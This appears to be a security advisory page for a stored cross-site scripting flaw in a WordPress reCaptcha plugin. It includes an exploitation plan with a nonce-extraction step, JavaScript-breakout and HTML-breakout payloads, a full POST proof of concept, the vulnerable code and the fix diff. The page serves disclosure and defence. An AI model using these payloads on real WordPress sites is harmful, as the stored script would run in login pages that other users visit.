reCaptcha by WebDesignBy < 2.0 - Authenticated (Administrator+) Stored Cross-Site Scripting
Description
The reCaptcha by WebDesignBy plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to 2.0 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with administrator-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This only affects multi-site installations and installations where unfiltered_html has been disabled.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:L/I:L/A:NTechnical Details
<2.0What Changed in the Fix
Changes introduced in v2.0
Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2026-4512 - Stored XSS in reCaptcha by WebDesignBy ## 1. Vulnerability Summary The **reCaptcha by WebDesignBy** plugin (versions < 2.0) contains a stored cross-site scripting (XSS) vulnerability. The plugin allows administrators to save Google reCaptcha API keys (`…
Show full research plan
Exploitation Research Plan: CVE-2026-4512 - Stored XSS in reCaptcha by WebDesignBy
1. Vulnerability Summary
The reCaptcha by WebDesignBy plugin (versions < 2.0) contains a stored cross-site scripting (XSS) vulnerability. The plugin allows administrators to save Google reCaptcha API keys (g_site_key and g_secret_key). These inputs are stored in the database without sanitization and are subsequently rendered in the WordPress admin settings page and the WordPress login page without output escaping.
The vulnerability is particularly significant in multi-site environments or installations where the unfiltered_html capability has been disabled for administrators, as it allows persistent script injection into sensitive areas (like the login page) that would otherwise be protected.
2. Attack Vector Analysis
- Vulnerable Endpoint: The plugin settings page in the WordPress admin dashboard.
- URL:
/wp-admin/options-general.php?page=webdesignby-recaptcha - Hook:
admin_enqueue_scriptsinclass/Recaptcha.phphandles the save logic when$_POSTis present. - HTTP Parameter:
webdesignby_recaptcha[g_site_key]andwebdesignby_recaptcha[g_secret_key]. - Required Authentication: Administrator level (specifically users with the
manage_optionscapability). - Preconditions:
- Plugin must be active.
- Attacker must have an account with
manage_optionspermissions. - To demonstrate a bypass of WordPress core protections,
define( 'DISALLOW_UNFILTERED_HTML', true );should ideally be set inwp-config.php, although the lack of escaping is a vulnerability regardless.
3. Code Flow
- Input: In
class/Recaptcha.php, theadmin_enqueue_scripts()method is hooked toadmin_enqueue_scripts. It checks if$_POSTis not empty. - Processing: It retrieves the POST data:
Note that only$arr_recaptcha_vars = $_POST['webdesignby_recaptcha']; $g_site_key = trim( $arr_recaptcha_vars['g_site_key'] );trim()is applied; nosanitize_text_field()or similar sanitization occurs. - Storage: The values are stored in the options table:
update_option('webdesignby_recaptcha', $webdesignby_recaptcha ); - Output Sink 1 (JavaScript Context): The method
grecaptcha_js()(inclass/Recaptcha.php) echoes the value directly into a<script>block:'sitekey' : '<?php echo $this->_site_key; ?>', - Output Sink 2 (HTML Attribute Context): In
class/RecaptchaOptionsPage.php, thesettings_page()method echoes the value into an input field's value attribute:
Novalue="<?php echo trim($opt['g_site_key']); ?>"esc_attr()oresc_html()is used.
4. Nonce Acquisition Strategy
The plugin uses the WordPress Settings API pattern but manually handles the POST request. It uses a nonce for CSRF protection.
- Nonce Name:
_wpnonce - Action String:
process - Source: Generated in
class/RecaptchaOptionsPage.phpvia<?php echo wp_nonce_field('process'); ?>. - Verification: Checked in
class/Recaptcha.phpviacheck_admin_referer( 'process' );.
Acquisition Steps:
- Use
browser_navigateto go to/wp-admin/options-general.php?page=webdesignby-recaptcha. - Use
browser_evalto extract the nonce:document.querySelector('input[name="_wpnonce"]').value
5. Exploitation Strategy
The goal is to inject a payload into g_site_key that breaks out of the JavaScript string and executes arbitrary code.
Step-by-Step Plan:
- Login: Authenticate as an administrator.
- Navigate: Visit the settings page to trigger the script loading and obtain the nonce.
- Extract Nonce: Capture the value of the
_wpnoncefield. - Execute Payload: Send a POST request to the settings page with the XSS payload.
- Payload Selection:
- For the JS sink:
');alert(document.domain);// - This results in:
'sitekey' : '');alert(document.domain);//',
- For the JS sink:
- Trigger Verification: Navigate to
wp-login.phpor refresh the settings page.
HTTP Request (PoC):
POST /wp-admin/options-general.php?page=webdesignby-recaptcha HTTP/1.1
Content-Type: application/x-www-form-urlencoded
_wpnonce=[EXTRACTED_NONCE]&_wp_http_referer=%2Fwp-admin%2Foptions-general.php%3Fpage%3Dwebdesignby-recaptcha&webdesignby_recaptcha%5Bg_site_key%5D=%27%29%3Balert%281%29%3B%2F%2F&webdesignby_recaptcha%5Bg_secret_key%5D=secret&submit=Save+Changes
6. Test Data Setup
- User: Create a user with the
administratorrole. - Environment Configuration: (Optional but recommended) Add
define( 'DISALLOW_UNFILTERED_HTML', true );towp-config.phpto prove that the plugin bypasses core security policies. - Plugin State: Ensure
webdesignby-recaptchais activated.
7. Expected Results
- After sending the POST request, the response should contain the message "Settings saved".
- When visiting
/wp-login.php, the injected JavaScriptalert(1)should execute because thelogin_enqueue_scriptshook callsgrecaptcha_js(). - When viewing the source of
/wp-login.php, the following code should be visible:var onloadCallback = function() { recaptcha1 = grecaptcha.render('g-recaptcha1', { 'sitekey' : '');alert(1);//', 'theme' : 'light' }); };
8. Verification Steps
- Check Database: Use WP-CLI to verify the stored option:
Expect to see the payloadwp option get webdesignby_recaptcha');alert(1);//in theg_site_keyfield. - Verify Output: Use
http_requestto fetch the login page and check for the presence of the payload:# Look for the broken sitekey line http_request "http://localhost:8080/wp-login.php" | grep "alert(1)"
9. Alternative Approaches
If the JavaScript breakout '); is filtered (unlikely given the code), an HTML breakout can be attempted for Sink 2 in the settings page:
- Payload:
"><script>alert(1)</script> - Target:
webdesignby_recaptcha[g_site_key] - Effect: This will break out of the
valueattribute of the input tag in the admin settings page:<input ... value=""><script>alert(1)</script>" /> - Verification: This payload would execute in the admin's browser immediately after saving or upon returning to the settings page.
Summary
The reCaptcha by WebDesignBy plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'g_site_key' and 'g_secret_key' parameters due to missing input sanitization and output escaping. Authenticated attackers with administrator-level permissions can inject arbitrary scripts that execute when users access the settings page or the WordPress login page, effectively bypassing unfiltered_html restrictions.
Vulnerable Code
// class/Recaptcha.php lines 49-55 var recaptcha1; var onloadCallback = function() { recaptcha1 = grecaptcha.render('g-recaptcha1', { 'sitekey' : '<?php echo $this->_site_key; ?>', 'theme' : 'light' }); --- // class/Recaptcha.php lines 66-68 check_admin_referer( 'process' ); $arr_recaptcha_vars = $_POST['webdesignby_recaptcha']; $g_site_key = trim( $arr_recaptcha_vars['g_site_key'] ); $g_secret_key = trim( $arr_recaptcha_vars['g_secret_key'] ); --- // class/RecaptchaOptionsPage.php lines 37-38 <th><label for="webdesignby_recaptcha[g_site_key]"><?php echo __('Site Key', 'webdesignby-recaptcha'); ?>:</label></th> <td><input name="webdesignby_recaptcha[g_site_key]" id="g_site_key" type="text" class="regular-text code" value="<?php echo trim($opt['g_site_key']); ?>" /></td>
Security Fix
@@ -20,11 +20,18 @@ $opt = get_option('webdesignby_recaptcha'); + if( ! $opt || ! is_array($opt)){ + $opt = array( + 'g_site_key' => '', + 'g_secret_key' => '', + ); + } ?> <h1><?php echo __('reCaptcha Settings', 'webdesignby-recaptcha'); ?></h1> <p>Generate a new site key and secret at:<br /><strong><a href="https://www.google.com/recaptcha/admin" target="_blank">https://www.google.com/recaptcha/admin</a></strong></p> + <p>This plugin is configured to work with reCAPTCHA v2. When you generate your keys, make sure to select the "reCAPTCHA v2" option and then select "I'm not a robot" Checkbox.</p> <?php if( ! empty($this->message)) echo $this->message; @@ -49,7 +49,7 @@ var recaptcha1; var onloadCallback = function() { recaptcha1 = grecaptcha.render('g-recaptcha1', { - 'sitekey' : '<?php echo $this->_site_key; ?>', + 'sitekey' : <?php echo wp_json_encode( $this->_site_key ); ?>, 'theme' : 'light' }); @@ -62,13 +62,13 @@ $screen = \get_current_screen(); $plugin_screen_id = "settings_page_webdesignby-recaptcha"; + $g_site_key = $g_secret_key = ""; if( $screen->id == $plugin_screen_id){ - if( ! empty($_POST) ){ check_admin_referer( 'process' ); $arr_recaptcha_vars = $_POST['webdesignby_recaptcha']; - $g_site_key = trim( $arr_recaptcha_vars['g_site_key'] ); - $g_secret_key = trim( $arr_recaptcha_vars['g_secret_key'] ); + $g_site_key = sanitize_text_field( trim( $arr_recaptcha_vars['g_site_key'] ) ); + $g_secret_key = sanitize_text_field( trim( $arr_recaptcha_vars['g_secret_key'] ) ); $webdesignby_recaptcha = array(); $this->_site_key = $webdesignby_recaptcha['g_site_key'] = $g_site_key; $this->_secret_key = $webdesignby_recaptcha['g_secret_key'] = $g_secret_key;
Exploit Outline
The exploit target is the plugin's settings page, specifically the handling of Google reCaptcha API keys. 1. Authentication: The attacker must be authenticated as a WordPress Administrator (with 'manage_options' capability). 2. Nonce Acquisition: Navigate to the settings page at `/wp-admin/options-general.php?page=webdesignby-recaptcha` and extract the CSRF nonce from the `_wpnonce` input field. 3. Payload Injection: Send a POST request to the same endpoint containing the `_wpnonce` and the `webdesignby_recaptcha[g_site_key]` parameter. Use a payload such as `');alert(1);//` to break out of the JavaScript string context in the `grecaptcha.render` function. 4. Execution: The injected script will execute whenever any user visits the WordPress login page (`wp-login.php`) or when an administrator visits the plugin's settings page, as the stored site key is rendered directly into a `<script>` block without escaping.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.